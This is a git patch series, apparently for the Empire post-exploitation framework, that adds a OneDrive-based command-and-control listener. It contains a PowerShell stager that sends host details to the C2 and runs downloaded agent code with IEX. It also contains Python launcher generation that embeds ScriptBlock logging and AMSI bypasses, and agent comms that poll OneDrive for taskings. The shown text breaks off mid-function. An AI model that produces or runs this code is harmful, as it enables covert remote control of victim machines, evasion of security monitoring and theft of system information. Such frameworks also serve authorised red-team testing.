From 85e0ec45640198251e6ac309507cb691c203f8f0 Mon Sep 17 00:00:00 2001 From: mr64bit Date: Tue, 6 Mar 2018 12:51:16 -0500 Subject: [PATCH 1/7] Changes to base Empire code for Onedrive listener --- lib/common/agents.py | 17 +++++++++-------- lib/common/empire.py | 2 +- lib/common/helpers.py | 14 +++++++++++--- 3 files changed, 21 insertions(+), 12 deletions(-) diff --git a/lib/common/agents.py b/lib/common/agents.py index 50ac00b..962d7e8 100644 --- a/lib/common/agents.py +++ b/lib/common/agents.py @@ -863,12 +863,11 @@ class Agents: self.lock.release() - def update_agent_lastseen_db(self, sessionID): + def update_agent_lastseen_db(self, sessionID, current_time=helpers.get_datetime()): """ Update the agent's last seen timestamp in the database. """ - current_time = helpers.get_datetime() conn = self.get_db_connection() try: self.lock.acquire() @@ -1363,7 +1362,7 @@ class Agents: dispatcher.send("[!] Invalid staging request packet from %s at %s : %s" % (sessionID, clientIP, meta), sender='Agents') - def handle_agent_data(self, stagingKey, routingPacket, listenerOptions, clientIP='0.0.0.0'): + def handle_agent_data(self, stagingKey, routingPacket, listenerOptions, clientIP='0.0.0.0', update_lastseen=False): """ Take the routing packet w/ raw encrypted data from an agent and process as appropriately. @@ -1399,7 +1398,7 @@ class Agents: elif meta == 'RESULT_POST': dispatcher.send("[*] handle_agent_data(): sessionID %s issued a RESULT_POST" % (sessionID), sender='Agents') - dataToReturn.append((language, self.handle_agent_response(sessionID, encData))) + dataToReturn.append((language, self.handle_agent_response(sessionID, encData, update_lastseen))) else: dispatcher.send("[!] handle_agent_data(): sessionID %s gave unhandled meta tag in routing packet: %s" % (sessionID, meta), sender='Agents') @@ -1407,7 +1406,7 @@ class Agents: return dataToReturn - def handle_agent_request(self, sessionID, language, stagingKey): + def handle_agent_request(self, sessionID, language, stagingKey, update_lastseen=True): """ Update the agent's last seen time and return any encrypted taskings. @@ -1418,7 +1417,8 @@ class Agents: return None # update the client's last seen time - self.update_agent_lastseen_db(sessionID) + if update_lastseen: + self.update_agent_lastseen_db(sessionID) # retrieve all agent taskings from the cache taskings = self.get_agent_tasks_db(sessionID) @@ -1446,7 +1446,7 @@ class Agents: return None - def handle_agent_response(self, sessionID, encData): + def handle_agent_response(self, sessionID, encData, update_lastseen=False): """ Takes a sessionID and posted encrypted data response, decrypt everything and handle results as appropriate. @@ -1462,7 +1462,8 @@ class Agents: sessionKey = self.agents[sessionID]['sessionKey'] # update the client's last seen time - self.update_agent_lastseen_db(sessionID) + if update_lastseen: + self.update_agent_lastseen_db(sessionID) try: # verify, decrypt and depad the packet diff --git a/lib/common/empire.py b/lib/common/empire.py index 7be5c44..a73270f 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -3218,7 +3218,7 @@ class ListenersMenu(SubMenu): if len(arguments) == 2: arguments.append("") self.mainMenu.listeners.update_listener_options(arguments[0], arguments[1], arguments[2]) - if arguments[0] in self.activeListeners.keys(): + if arguments[0] in self.mainMenu.listeners.activeListeners.keys(): print helpers.color("[*] This change will not take effect until the listener is restarted") def complete_usestager(self, text, line, begidx, endidx): diff --git a/lib/common/helpers.py b/lib/common/helpers.py index 2322a97..ab25c6a 100644 --- a/lib/common/helpers.py +++ b/lib/common/helpers.py @@ -52,7 +52,7 @@ import threading import pickle import netifaces import random -from time import localtime, strftime +from datetime import datetime import subprocess import fnmatch import urllib, urllib2 @@ -584,14 +584,22 @@ def get_datetime(): """ Return the current date/time """ - return strftime("%Y-%m-%d %H:%M:%S", localtime()) + return datetime.now().strftime("%Y-%m-%d %H:%M:%S") +def utc_to_local(utc): + """ + Converts a datetime object in UTC to local time + """ + + offset = datetime.now() - datetime.utcnow() + return (utc + offset).strftime("%Y-%m-%d %H:%M:%S") + def get_file_datetime(): """ Return the current date/time in a format workable for a file name. """ - return strftime("%Y-%m-%d_%H-%M-%S", localtime()) + return datetime.now().strftime("%Y-%m-%d_%H-%M-%S") def get_file_size(file): From a22102ffa584f2b533708660d453357ad5817e40 Mon Sep 17 00:00:00 2001 From: mr64bit Date: Tue, 6 Mar 2018 12:51:57 -0500 Subject: [PATCH 2/7] Onedrive listener code --- data/agent/stagers/onedrive.ps1 | 222 ++++++++++ lib/listeners/onedrive.py | 749 ++++++++++++++++++++++++++++++++ 2 files changed, 971 insertions(+) create mode 100644 data/agent/stagers/onedrive.ps1 create mode 100644 lib/listeners/onedrive.py diff --git a/data/agent/stagers/onedrive.ps1 b/data/agent/stagers/onedrive.ps1 new file mode 100644 index 0000000..571fe5a --- /dev/null +++ b/data/agent/stagers/onedrive.ps1 @@ -0,0 +1,222 @@ +function Start-Negotiate { + param($T,$SK,$PI=5,$UA='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko') + + function ConvertTo-RC4ByteStream { + Param ($RCK, $In) + begin { + [Byte[]] $S = 0..255; + $J = 0; + 0..255 | ForEach-Object { + $J = ($J + $S[$_] + $RCK[$_ % $RCK.Length]) % 256; + $S[$_], $S[$J] = $S[$J], $S[$_]; + }; + $I = $J = 0; + } + process { + ForEach($Byte in $In) { + $I = ($I + 1) % 256; + $J = ($J + $S[$I]) % 256; + $S[$I], $S[$J] = $S[$J], $S[$I]; + $Byte -bxor $S[($S[$I] + $S[$J]) % 256]; + } + } + } + + function Decrypt-Bytes { + param ($Key, $In) + if($In.Length -gt 32) { + $HMAC = New-Object System.Security.Cryptography.HMACSHA256; + $e=[System.Text.Encoding]::ASCII; + # Verify the HMAC + $Mac = $In[-10..-1]; + $In = $In[0..($In.length - 11)]; + $hmac.Key = $e.GetBytes($Key); + $Expected = $hmac.ComputeHash($In)[0..9]; + if (@(Compare-Object $Mac $Expected -Sync 0).Length -ne 0) { + return; + } + + # extract the IV + $IV = $In[0..15]; + $AES = New-Object System.Security.Cryptography.AesCryptoServiceProvider; + $AES.Mode = "CBC"; + $AES.Key = $e.GetBytes($Key); + $AES.IV = $IV; + ($AES.CreateDecryptor()).TransformFinalBlock(($In[16..$In.length]), 0, $In.Length-16) + } + } + + # make sure the appropriate assemblies are loaded + $Null = [Reflection.Assembly]::LoadWithPartialName("System.Security"); + $Null = [Reflection.Assembly]::LoadWithPartialName("System.Core"); + + # try to ignore all errors + $ErrorActionPreference = "SilentlyContinue"; + $e=[System.Text.Encoding]::ASCII; + + $SKB=$e.GetBytes($SK); + # set up the AES/HMAC crypto + # $SK -> staging key for this server + $AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider; + $IV = [byte] 0..255 | Get-Random -count 16; + $AES.Mode="CBC"; + $AES.Key=$SKB; + $AES.IV = $IV; + + $hmac = New-Object System.Security.Cryptography.HMACSHA256; + $hmac.Key = $SKB; + + $csp = New-Object System.Security.Cryptography.CspParameters; + $csp.Flags = $csp.Flags -bor [System.Security.Cryptography.CspProviderFlags]::UseMachineKeyStore; + $rs = New-Object System.Security.Cryptography.RSACryptoServiceProvider -ArgumentList 2048,$csp; + # export the public key in the only format possible...stupid + $rk=$rs.ToXmlString($False); + + # generate a randomized sessionID of 8 characters + $ID=-join("ABCDEFGHKLMNPRSTUVWXYZ123456789".ToCharArray()|Get-Random -Count 8); + + # build the packet of (xml_key) + $ib=$e.getbytes($rk); + + # encrypt/HMAC the packet for the c2 server + $eb=$IV+$AES.CreateEncryptor().TransformFinalBlock($ib,0,$ib.Length); + $eb=$eb+$hmac.ComputeHash($eb)[0..9]; + + # if the web client doesn't exist, create a new web client and set appropriate options + # this only happens if this stager.ps1 code is NOT called from a launcher context + if(-not $wc) { + $wc=New-Object System.Net.WebClient; + # set the proxy settings for the WC to be the default system settings + $wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy(); + $wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials; + } + + if ($Script:Proxy) { + $wc.Proxy = $Script:Proxy; + } + + # RC4 routing packet: + # sessionID = $ID + # language = POWERSHELL (1) + # meta = STAGE1 (2) + # extra = (0x00, 0x00) + # length = len($eb) + $IV=[BitConverter]::GetBytes($(Get-Random)); + $data = $e.getbytes($ID) + @(0x01,0x02,0x00,0x00) + [BitConverter]::GetBytes($eb.Length); + $rc4p = ConvertTo-RC4ByteStream -RCK $($IV+$SKB) -In $data; + $rc4p = $IV + $rc4p + $eb; + + # the User-Agent always resets for multiple calls...silly + $wc.Headers.Set("User-Agent",$UA); + $wc.Headers.Set("Authorization", "Bearer $T"); + $wc.Headers.Set("Content-Type", "application/octet-stream"); + # step 3 of negotiation -> client posts AESstaging(PublicKey) to the server + $Null = $wc.UploadData("https://graph.microsoft.com/v1.0/drive/root:/REPLACE_STAGING_FOLDER/$($ID)_1.txt:/content", "put", $rc4p); + + # step 4 of negotiation -> server returns RSA(nonce+AESsession)) + Start-Sleep -Seconds $(($PI -as [Int])*2); + $wc.Headers.Set("User-Agent",$UA); + $wc.Headers.Set("Authorization", "Bearer $T"); + Do{try{ + $raw=$wc.DownloadData("https://graph.microsoft.com/v1.0/drive/root:/REPLACE_STAGING_FOLDER/$($ID)_2.txt:/content"); + }catch{Start-Sleep -Seconds $(($PI -as [Int])*2)}}While($raw -eq $null); + + $wc.Headers.Set("User-Agent",$UA); + $wc.Headers.Set("Authorization", "Bearer $T"); + $null=$wc.UploadString("https://graph.microsoft.com/v1.0/drive/root:/REPLACE_STAGING_FOLDER/$($ID)_2.txt", "DELETE", ""); + + $de=$e.GetString($rs.decrypt($raw,$false)); + # packet = server nonce + AES session key + $nonce=$de[0..15] -join ''; + $key=$de[16..$de.length] -join ''; + + # increment the nonce + $nonce=[String]([long]$nonce + 1); + + # create a new AES object + $AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider; + $IV = [byte] 0..255 | Get-Random -Count 16; + $AES.Mode="CBC"; + $AES.Key=$e.GetBytes($key); + $AES.IV = $IV; + + # get some basic system information + $i=$nonce+'|'+$s+'|'+[Environment]::UserDomainName+'|'+[Environment]::UserName+'|'+[Environment]::MachineName; + $p=(gwmi Win32_NetworkAdapterConfiguration|Where{$_.IPAddress}|Select -Expand IPAddress); + + # check if the IP is a string or the [IPv4,IPv6] array + $ip = @{$true=$p[0];$false=$p}[$p.Length -lt 6]; + if(!$ip -or $ip.trim() -eq '') {$ip='0.0.0.0'}; + $i+="|$ip"; + + $i+='|'+(Get-WmiObject Win32_OperatingSystem).Name.split('|')[0]; + + # detect if we're SYSTEM or otherwise high-integrity + if(([Environment]::UserName).ToLower() -eq "system"){$i+="|True"} + else {$i += '|' +([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")} + + # get the current process name and ID + $n=[System.Diagnostics.Process]::GetCurrentProcess(); + $i+='|'+$n.ProcessName+'|'+$n.Id; + # get the powershell.exe version + $i += "|powershell|" + $PSVersionTable.PSVersion.Major; + + # send back the initial system information + $ib2=$e.getbytes($i); + $eb2=$IV+$AES.CreateEncryptor().TransformFinalBlock($ib2,0,$ib2.Length); + $hmac.Key = $e.GetBytes($key); + $eb2 = $eb2+$hmac.ComputeHash($eb2)[0..9]; + + # RC4 routing packet: + # sessionID = $ID + # language = POWERSHELL (1) + # meta = STAGE2 (3) + # extra = (0x00, 0x00) + # length = len($eb) + $IV2=[BitConverter]::GetBytes($(Get-Random)); + $data2 = $e.getbytes($ID) + @(0x01,0x03,0x00,0x00) + [BitConverter]::GetBytes($eb2.Length); + $rc4p2 = ConvertTo-RC4ByteStream -RCK $($IV2+$SKB) -In $data2; + $rc4p2 = $IV2 + $rc4p2 + $eb2; + + # the User-Agent always resets for multiple calls...silly + Start-Sleep -Seconds $(($PI -as [Int])*2); + $wc.Headers.Set("User-Agent",$UA); + $wc.Headers.Set("Authorization", "Bearer $T"); + $wc.Headers.Set("Content-Type", "application/octet-stream"); + + # step 5 of negotiation -> client posts nonce+sysinfo and requests agent + $Null = $wc.UploadData("https://graph.microsoft.com/v1.0/drive/root:/REPLACE_STAGING_FOLDER/$($ID)_3.txt:/content", "PUT", $rc4p2); + + Start-Sleep -Seconds $(($PI -as [Int])*2); + $wc.Headers.Set("User-Agent",$UA); + $wc.Headers.Set("Authorization", "Bearer $T"); + $raw=$null; + do{try{ + $raw=$wc.DownloadData("https://graph.microsoft.com/v1.0/drive/root:/REPLACE_STAGING_FOLDER/$($ID)_4.txt:/content"); + }catch{Start-Sleep -Seconds $(($PI -as [Int])*2)}}While($raw -eq $null); + + Start-Sleep -Seconds $($PI -as [Int]); + $wc2=New-Object System.Net.WebClient; + $wc2.Proxy = [System.Net.WebRequest]::GetSystemWebProxy(); + $wc2.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials; + if($Script:Proxy) { + $wc2.Proxy = $Script:Proxy; + } + + $wc2.Headers.Add("User-Agent",$UA); + $wc2.Headers.Add("Authorization", "Bearer $T"); + $wc2.Headers.Add("Content-Type", " application/json"); + $Null=$wc2.UploadString("https://graph.microsoft.com/v1.0/drive/root:/REPLACE_STAGING_FOLDER/$($ID)_4.txt", "DELETE", ""); + + # decrypt the agent and register the agent logic + IEX $( $e.GetString($(Decrypt-Bytes -Key $key -In $raw)) ); + + # clear some variables out of memory and cleanup before execution + $AES=$null;$s2=$null;$wc=$null;$eb2=$null;$raw=$null;$IV=$null;$wc=$null;$i=$null;$ib2=$null; + [GC]::Collect(); + + # TODO: remove this shitty $server logic + Invoke-Empire -Servers @('NONE') -StagingKey $SK -SessionKey $key -SessionID $ID -WorkingHours "REPLACE_WORKING_HOURS" -ProxySettings $Script:Proxy; +} +# $ser is the server populated from the launcher code, needed here in order to facilitate hop listeners +Start-Negotiate -T "REPLACE_TOKEN" -PI "REPLACE_POLLING_INTERVAL" -SK "REPLACE_STAGING_KEY" -UA $u; diff --git a/lib/listeners/onedrive.py b/lib/listeners/onedrive.py new file mode 100644 index 0000000..f11c1c9 --- /dev/null +++ b/lib/listeners/onedrive.py @@ -0,0 +1,749 @@ +import base64 +import random +import os +import re +import time +from datetime import datetime +import copy +import traceback +import sys +from pydispatch import dispatcher +from requests import Request, Session + +#Empire imports +from lib.common import helpers +from lib.common import agents +from lib.common import encryption +from lib.common import packets +from lib.common import messages + +class Listener: + def __init__(self, mainMenu, params=[]): + self.info = { + 'Name': 'Onedrive', + 'Author': ['@mr64bit'], + 'Description': ('Starts a Onedrive listener.'), + 'Category': ('third_party'), + 'Comments': [] + } + + self.options = { + 'Name' : { + 'Description' : 'Name for the listener.', + 'Required' : True, + 'Value' : 'onedrive' + }, + 'ClientID' : { + 'Description' : 'Client ID of the OAuth App.', + 'Required' : True, + 'Value' : '' + }, + 'AuthCode' : { + 'Description' : 'Auth code given after authenticating OAuth App.', + 'Required' : True, + 'Value' : '' + }, + 'BaseFolder' : { + 'Description' : 'The base Onedrive folder to use for comms.', + 'Required' : True, + 'Value' : 'empire' + }, + 'StagingFolder' : { + 'Description' : 'The nested Onedrive staging folder.', + 'Required' : True, + 'Value' : 'staging' + }, + 'TaskingsFolder' : { + 'Description' : 'The nested Onedrive taskings folder.', + 'Required' : True, + 'Value' : 'taskings' + }, + 'ResultsFolder' : { + 'Description' : 'The nested Onedrive results folder.', + 'Required' : True, + 'Value' : 'results' + }, + 'Launcher' : { + 'Description' : 'Launcher string.', + 'Required' : True, + 'Value' : 'powershell -noP -sta -w 1 -enc ' + }, + 'StagingKey' : { + 'Description' : 'Staging key for intial agent negotiation.', + 'Required' : True, + 'Value' : 'asdf' + }, + 'PollInterval' : { + 'Description' : 'Polling interval (in seconds) to communicate with Onedrive.', + 'Required' : True, + 'Value' : '5' + }, + 'DefaultDelay' : { + 'Description' : 'Agent delay/reach back interval (in seconds).', + 'Required' : True, + 'Value' : 60 + }, + 'DefaultJitter' : { + 'Description' : 'Jitter in agent reachback interval (0.0-1.0).', + 'Required' : True, + 'Value' : 0.0 + }, + 'DefaultLostLimit' : { + 'Description' : 'Number of missed checkins before exiting', + 'Required' : True, + 'Value' : 10 + }, + 'DefaultProfile' : { + 'Description' : 'Default communication profile for the agent.', + 'Required' : True, + 'Value' : "N/A|Microsoft SkyDriveSync 17.005.0107.0008 ship; Windows NT 10.0 (16299)" + }, + 'KillDate' : { + 'Description' : 'Date for the listener to exit (MM/dd/yyyy).', + 'Required' : False, + 'Value' : '' + }, + 'WorkingHours' : { + 'Description' : 'Hours for the agent to operate (09:00-17:00).', + 'Required' : False, + 'Value' : '' + }, + 'RefreshToken' : { + 'Description' : 'Refresh token used to refresh the auth token', + 'Required' : False, + 'Value' : '' + }, + 'RedirectURI' : { + 'Description' : 'Redirect URI of the registered application', + 'Required' : True, + 'Value' : "https://login.live.com/oauth20_desktop.srf" + }, + 'SlackToken' : { + 'Description' : 'Your SlackBot API token to communicate with your Slack instance.', + 'Required' : False, + 'Value' : '' + }, + 'SlackChannel' : { + 'Description' : 'The Slack channel or DM that notifications will be sent to.', + 'Required' : False, + 'Value' : '#general' + } + } + + self.mainMenu = mainMenu + self.threads = {} + + self.options['StagingKey']['Value'] = str(helpers.get_config('staging_key')[0]) + + def default_response(self): + return '' + + def validate_options(self): + + self.uris = [a.strip('/') for a in self.options['DefaultProfile']['Value'].split('|')[0].split(',')] + + if (str(self.options['RefreshToken']['Value']).strip() == '') and (str(self.options['AuthCode']['Value']).strip() == ''): + if (str(self.options['ClientID']['Value']).strip() == ''): + print helpers.color("[!] ClientID needed to generate AuthCode URL!") + return False + params = {'client_id': str(self.options['ClientID']['Value']).strip(), + 'response_type': 'code', + 'redirect_uri': self.options['RedirectURI']['Value'], + 'scope': 'files.readwrite offline_access'} + req = Request('GET','https://login.microsoftonline.com/common/oauth2/v2.0/authorize', params = params) + prep = req.prepare() + print helpers.color("[*] Get your AuthCode from \"%s\" and try starting the listener again." % prep.url) + return False + + for key in self.options: + if self.options[key]['Required'] and (str(self.options[key]['Value']).strip() == ''): + print helpers.color("[!] Option \"%s\" is required." % (key)) + return False + + return True + + def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None): + if not language: + print helpers.color("[!] listeners/onedrive generate_launcher(): No language specified") + + if listenerName and (listenerName in self.threads) and (listenerName in self.mainMenu.listeners.activeListeners): + listener_options = self.mainMenu.listeners.activeListeners[listenerName]['options'] + staging_key = listener_options['StagingKey']['Value'] + profile = listener_options['DefaultProfile']['Value'] + launcher_cmd = listener_options['Launcher']['Value'] + staging_key = listener_options['StagingKey']['Value'] + poll_interval = listener_options['PollInterval']['Value'] + base_folder = listener_options['BaseFolder']['Value'].strip("/") + staging_folder = listener_options['StagingFolder']['Value'] + taskings_folder = listener_options['TaskingsFolder']['Value'] + results_folder = listener_options['ResultsFolder']['Value'] + + if language.startswith("power"): + launcher = "$ErrorActionPreference = 'SilentlyContinue';" #Set as empty string for debugging + + if safeChecks.lower() == 'true': + launcher += helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){") + + # ScriptBlock Logging bypass + launcher += helpers.randomize_capitalization("$GPF=[ref].Assembly.GetType(") + launcher += "'System.Management.Automation.Utils'" + launcher += helpers.randomize_capitalization(").'GetFie`ld'(") + launcher += "'cachedGroupPolicySettings','N'+'onPublic,Static'" + launcher += helpers.randomize_capitalization(");If($GPF){$GPC=$GPF.GetValue($null);If($GPC") + launcher += "['ScriptB'+'lockLogging']" + launcher += helpers.randomize_capitalization("){$GPC") + launcher += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;" + launcher += helpers.randomize_capitalization("$GPC") + launcher += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}" + launcher += helpers.randomize_capitalization("$val=[Collections.Generic.Dictionary[string,System.Object]]::new();$val.Add") + launcher += "('EnableScriptB'+'lockLogging',0);" + launcher += helpers.randomize_capitalization("$val.Add") + launcher += "('EnableScriptBlockInvocationLogging',0);" + launcher += helpers.randomize_capitalization("$GPC") + launcher += "['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']" + launcher += helpers.randomize_capitalization("=$val}") + launcher += helpers.randomize_capitalization("Else{[ScriptBlock].'GetFie`ld'(") + launcher += "'signatures','N'+'onPublic,Static'" + launcher += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}") + + # @mattifestation's AMSI bypass + launcher += helpers.randomize_capitalization("[Ref].Assembly.GetType(") + launcher += "'System.Management.Automation.AmsiUtils'" + launcher += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(') + launcher += "'amsiInitFailed','NonPublic,Static'" + launcher += helpers.randomize_capitalization(").SetValue($null,$true)};") + launcher += "};" + launcher += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;") + + launcher += helpers.randomize_capitalization("$wc=New-Object SYstem.Net.WebClient;") + + if userAgent.lower() == 'default': + profile = listener_options['DefaultProfile']['Value'] + userAgent = profile.split("|")[1] + launcher += "$u='" + userAgent + "';" + + if userAgent.lower() != 'none' or proxy.lower() != 'none': + if userAgent.lower() != 'none': + launcher += helpers.randomize_capitalization("$wc.Headers.Add(") + launcher += "'User-Agent',$u);" + + if proxy.lower() != 'none': + if proxy.lower() == 'default': + launcher += helpers.randomize_capitalization("$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;") + else: + launcher += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy;") + launcher += helpers.randomize_capitalization("$proxy.Address = '"+ proxy.lower() +"';") + launcher += helpers.randomize_capitalization("$wc.Proxy = $proxy;") + if proxyCreds.lower() == "default": + launcher += helpers.randomize_capitalization("$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;") + else: + username = proxyCreds.split(":")[0] + password = proxyCreds.split(":")[1] + domain = username.split("\\")[0] + usr = username.split("\\")[1] + launcher += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"','"+domain+"');" + launcher += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;") + + launcher += "$Script:Proxy = $wc.Proxy;" + + # code to turn the key string into a byte array + launcher += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(") + launcher += ("'%s');" % staging_key) + + # this is the minimized RC4 launcher code from rc4.ps1 + launcher += helpers.randomize_capitalization('$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};') + + launcher += helpers.randomize_capitalization("$data=$wc.DownloadData('") + launcher += self.mainMenu.listeners.activeListeners[listenerName]['stager_url'] + launcher += helpers.randomize_capitalization("');$iv=$data[0..3];$data=$data[4..$data.length];") + + launcher += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX") + + if obfuscate: + launcher = helpers.obfuscate(self.mainMenu.installPath, launcher, obfuscationCommand=obfuscationCommand) + + if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())): + return helpers.powershell_launcher(launcher, launcher_cmd) + else: + return launcher + + if language.startswith("pyth"): + print helpers.color("[!] listeners/onedrive generate_launcher(): Python agent not implimented yet") + return "python not implimented yet" + + else: + print helpers.color("[!] listeners/onedrive generate_launcher(): invalid listener name") + + def generate_stager(self, listenerOptions, encode=False, encrypt=True, language=None, token=None): + """ + Generate the stager code + """ + + if not language: + print helpers.color("[!] listeners/onedrive generate_stager(): no language specified") + return None + + staging_key = listenerOptions['StagingKey']['Value'] + base_folder = listenerOptions['BaseFolder']['Value'] + staging_folder = listenerOptions['StagingFolder']['Value'] + working_hours = listenerOptions['WorkingHours']['Value'] + profile = listenerOptions['DefaultProfile']['Value'] + agent_delay = listenerOptions['DefaultDelay']['Value'] + + if language.lower() == 'powershell': + f = open("%s/data/agent/stagers/onedrive.ps1" % self.mainMenu.installPath) + stager = f.read() + f.close() + + stager = stager.replace("REPLACE_STAGING_FOLDER", "%s/%s" % (base_folder, staging_folder)) + stager = stager.replace('REPLACE_STAGING_KEY', staging_key) + stager = stager.replace("REPLACE_TOKEN", token) + stager = stager.replace("REPLACE_POLLING_INTERVAL", agent_delay) + + if working_hours != "": + stager = stager.replace("REPLACE_WORKING_HOURS") + + randomized_stager = '' + + for line in stager.split("\n"): + line = line.strip() + + if not line.startswith("#"): + if "\"" not in line: + randomized_stager += helpers.randomize_capitalization(line) + else: + randomized_stager += line + + if encode: + return helpers.enc_powershell(randomized_stager) + elif encrypt: + RC4IV = os.urandom(4) + return RC4IV + encryption.rc4(RC4IV+staging_key, randomized_stager) + else: + return randomized_stager + + def generate_comms(self, listener_options, client_id, token, refresh_token, redirect_uri, language=None): + + staging_key = listener_options['StagingKey']['Value'] + base_folder = listener_options['BaseFolder']['Value'] + taskings_folder = listener_options['TaskingsFolder']['Value'] + results_folder = listener_options['ResultsFolder']['Value'] + + if not language: + print helpers.color("[!] listeners/onedrive generate_comms(): No language specified") + return + + if language.lower() == "powershell": + token_manager = """ + $Script:TokenObject = @{token="%s";refresh="%s";expires=(Get-Date).addSeconds(3480)}; + function script:Get-WebClient { + $wc = New-Object System.Net.WebClient + $wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy(); + $wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials; + if($Script:Proxy) { + $wc.Proxy = $Script:Proxy; + } + if((Get-Date) -gt $Script:TokenObject.expires) { + $data = New-Object System.Collections.Specialized.NameValueCollection + $data.add("client_id", "%s") + $data.add("grant_type", "refresh_token") + $data.add("scope", "files.readwrite offline_access") + $data.add("refresh_token", $Script:TokenObject.refresh) + $data.add("redirect_uri", "%s") + $bytes = $wc.UploadValues("https://login.microsoftonline.com/common/oauth2/v2.0/token", "POST", $data) + $response = [system.text.encoding]::ascii.getstring($bytes) + $Script:TokenObject.token = [regex]::match($response, '"access_token":"(.+?)"').groups[1].value + $Script:TokenObject.refresh = [regex]::match($response, '"refresh_token":"(.+?)"').groups[1].value + $expires_in = [int][regex]::match($response, '"expires_in":([0-9]+)').groups[1].value + $Script:TokenObject.expires = (get-date).addSeconds($expires_in - 15) + } + $wc.headers.add("User-Agent", $script:UserAgent) + $wc.headers.add("Authorization", "Bearer $($Script:TokenObject.token)") + $Script:Headers.GetEnumerator() | ForEach-Object {$wc.Headers.Add($_.Name, $_.Value)} + return $wc + } + """ % (token, refresh_token, client_id, redirect_uri) + + post_message = """ + function script:send-message { + param($packets) + + if($packets) { + $encBytes = encrypt-bytes $packets + $RoutingPacket = New-RoutingPacket -encData $encBytes -Meta 5 + } else { + $RoutingPacket = "" + } + + $wc = Get-WebClient + $resultsFolder = "%s" + + try { + try { + $data = $null + $data = $wc.DownloadData("https://graph.microsoft.com/v1.0/drive/root:/$resultsFolder/$($script:SessionID).txt:/content") + } catch {} + + if($data -and $data.length -ne 0) { + $routingPacket = $data + $routingPacket + } + + $wc = Get-WebClient + $null = $wc.UploadData("https://graph.microsoft.com/v1.0/drive/root:/$resultsFolder/$($script:SessionID).txt:/content", "PUT", $RoutingPacket) + $script:missedChecking = 0 + $script:lastseen = get-date + } + catch { + if($_ -match "Unable to connect") { + $script:missedCheckins += 1 + } + } + } + """ % ("%s/%s" % (base_folder, results_folder)) + + get_message = """ + $script:lastseen = Get-Date + function script:get-task { + try { + $wc = Get-WebClient + + $TaskingsFolder = "%s" + + #If we haven't sent a message recently... + if($script:lastseen.addseconds($script:AgentDelay * 2) -lt (get-date)) { + send-message -packets "" + } + $script:MissedCheckins = 0 + + $data = $wc.DownloadData("https://graph.microsoft.com/v1.0/drive/root:/$TaskingsFolder/$($script:SessionID).txt:/content") + + if($data -and ($data.length -ne 0)) { + $wc = Get-WebClient + $null = $wc.UploadString("https://graph.microsoft.com/v1.0/drive/root:/$TaskingsFolder/$($script:SessionID).txt", "DELETE", "") + if([system.text.encoding]::utf8.getString($data) -eq "RESTAGE") { + write-host "Restaging" + Start-Negotiate -T $script:TokenObject.token -SK $SK -PI $PI -UA $UA + } + write-host "returning" + $Data + } + } + catch { + if($_ -match "Unable to connect") { + $script:MissedCheckins += 1 + } + } + } + """ % ("%s/%s" % (base_folder, taskings_folder)) + + return token_manager + post_message + get_message + + def generate_agent(self, listener_options, client_id, token, refresh_token, redirect_uri, language=None): + """ + Generate the agent code + """ + + if not language: + print helpers.color("[!] listeners/onedrive generate_agent(): No language specified") + return + + language = language.lower() + delay = listener_options['DefaultDelay']['Value'] + jitter = listener_options['DefaultJitter']['Value'] + profile = listener_options['DefaultProfile']['Value'] + lost_limit = listener_options['DefaultLostLimit']['Value'] + working_hours = listener_options['WorkingHours']['Value'] + kill_date = listener_options['KillDate']['Value'] + b64_default_response = base64.b64encode(self.default_response()) + + if language == 'powershell': + f = open(self.mainMenu.installPath + "/data/agent/agent.ps1") + agent_code = f.read() + f.close() + + comms_code = self.generate_comms(listener_options, client_id, token, refresh_token, redirect_uri, language) + agent_code = agent_code.replace("REPLACE_COMMS", comms_code) + + agent_code = helpers.strip_powershell_comments(agent_code) + + agent_code = agent_code.replace('$AgentDelay = 60', "$AgentDelay = " + str(delay)) + agent_code = agent_code.replace('$AgentJitter = 0', "$AgentJitter = " + str(jitter)) + agent_code = agent_code.replace('$Profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', "$Profile = \"" + str(profile) + "\"") + agent_code = agent_code.replace('$LostLimit = 60', "$LostLimit = " + str(lost_limit)) + agent_code = agent_code.replace('$DefaultResponse = ""', '$DefaultResponse = "'+b64_default_response+'"') + + if kill_date != "": + agent_code = agent_code.replace("$KillDate,", "$KillDate = '" + str(kill_date) + "',") + + return 